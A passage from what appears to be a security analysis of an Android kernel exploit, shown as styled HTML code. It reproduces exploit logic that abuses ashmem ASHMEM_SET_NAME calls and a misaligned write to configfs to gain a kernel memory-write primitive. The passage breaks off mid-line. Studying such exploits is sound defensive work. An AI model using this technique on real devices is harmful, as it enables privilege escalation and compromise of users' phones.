normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*(_QWORD</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*)&tmp_name_buffer[(</span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)page_offset]</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">dst;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">neg_idx</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">memset(name_buffer,</span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">'C'</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">,</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">sizeof</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(name_buffer));</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//They have to do this backwards while loop so they can write</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//nulls into the name buffer</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">while</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">1</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">name_buffer[neg_idx</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">244</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">]</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">tmp_name_buffer[neg_idx</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">255</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(ioctl(ashmem_fd,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ASHMEM_SET_NAME,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">name_buffer)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">break</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">--neg_idx</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">==</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-245</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//At this point, the ->page used in configfs_write_file will</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//be set due to the ASHMEM_SET_NAME calls</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(lseek(ashmem_fd,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0LL</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">>=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">0</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">data_to_write</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">void</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*)(mmap_page</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">-</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #c5221f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">4096</span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">memcpy(data_to_write,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">src,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-indent: 36pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//This will EFAULT due to intentional misalignment on the</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-indent: 36pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #b80672; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//page so as to ensure copying the right number of bytes</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">write(ashmem_fd,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">data_to_write,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">+</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; 